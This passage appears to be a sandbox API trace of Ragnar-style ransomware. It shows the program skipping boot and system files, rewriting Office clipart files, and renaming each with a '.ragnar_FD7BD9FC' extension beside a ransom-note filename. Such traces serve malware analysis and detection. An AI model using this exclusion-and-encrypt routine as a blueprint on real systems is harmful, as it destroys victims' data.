[0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0081.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.842] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2960) returned 1 [0081.842] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.842] GetProcessHeap () returned 0x580000 [0081.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.842] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.844] VirtualAlloc (lpAddress=0x0, dwSize=0xb90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.844] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb90, lpOverlapped=0x0) returned 1 [0081.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.844] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb90, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.844] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb90, lpOverlapped=0x0) returned 1 [0081.844] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.844] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.845] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.845] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.845] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.845] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.845] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.845] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.845] GetProcessHeap () returned 0x580000 [0081.845] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.845] CloseHandle (hObject=0xf4) returned 1 [0081.845] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" [0081.845] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ragnar_FD7BD9FC" [0081.845] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.846] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0081.846] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.846] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01157_.WMF" | out: lpString1="DD01157_.WMF") returned="DD01157_.WMF" [0081.846] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned=".WMF" [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="autorun.inf") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="boot.ini") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="bootfont.bin") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="bootsect.bak") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="bootmgr") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="bootmgr.efi") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="desktop.ini") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="iconcache.db") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="ntldr") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="ntuser.dat") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="ntuser.ini") returned -1 [0081.846] lstrcmpiW (lpString1="DD01157_.WMF", lpString2="thumbs.db") returned -1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.846] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0081.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.847] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3588) returned 1 [0081.847] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.847] GetProcessHeap () returned 0x580000 [0081.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.847] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.849] VirtualAlloc (lpAddress=0x0, dwSize=0xe04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.849] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe04, lpOverlapped=0x0) returned 1 [0081.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.849] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe04, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.849] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe04, lpOverlapped=0x0) returned 1 [0081.849] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.849] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.850] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.850] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.850] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.850] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.850] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.850] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.850] GetProcessHeap () returned 0x580000 [0081.850] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.850] CloseHandle (hObject=0xf4) returned 1 [0081.850] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" [0081.850] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ragnar_FD7BD9FC" [0081.850] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0081.851] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.851] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01160_.WMF" | out: lpString1="DD01160_.WMF") returned="DD01160_.WMF" [0081.851] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned=".WMF" [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="autorun.inf") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="boot.ini") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="bootfont.bin") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="bootsect.bak") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="bootmgr") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="bootmgr.efi") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="desktop.ini") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="iconcache.db") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="ntldr") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="ntuser.dat") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="ntuser.ini") returned -1 [0081.851] lstrcmpiW (lpString1="DD01160_.WMF", lpString2="thumbs.db") returned -1 [0081.851] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.852] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0081.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.852] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2228) returned 1 [0081.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.852] GetProcessHeap () returned 0x580000 [0081.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.852] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.854] VirtualAlloc (lpAddress=0x0, dwSize=0x8b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.854] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b4, lpOverlapped=0x0) returned 1 [0081.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.854] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.854] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b4, lpOverlapped=0x0) returned 1 [0081.854] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.854] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.854] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.854] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.855] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.855] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.855] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.855] GetProcessHeap () returned 0x580000 [0081.855] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.855] CloseHandle (hObject=0xf4) returned 1 [0081.855] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" [0081.855] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ragnar_FD7BD9FC" [0081.855] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.855] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0081.855] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.855] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01162_.WMF" | out: lpString1="DD01162_.WMF") returned="DD01162_.WMF" [0081.856] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned=".WMF" [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="autorun.inf") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="boot.ini") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="bootfont.bin") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="bootsect.bak") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="bootmgr") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="bootmgr.efi") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="desktop.ini") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="iconcache.db") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="ntldr") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="ntuser.dat") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="ntuser.ini") returned -1 [0081.856] lstrcmpiW (lpString1="DD01162_.WMF", lpString2="thumbs.db") returned -1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.856] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0081.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.856] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2300) returned 1 [0081.857] SetFilePointerEx (in: 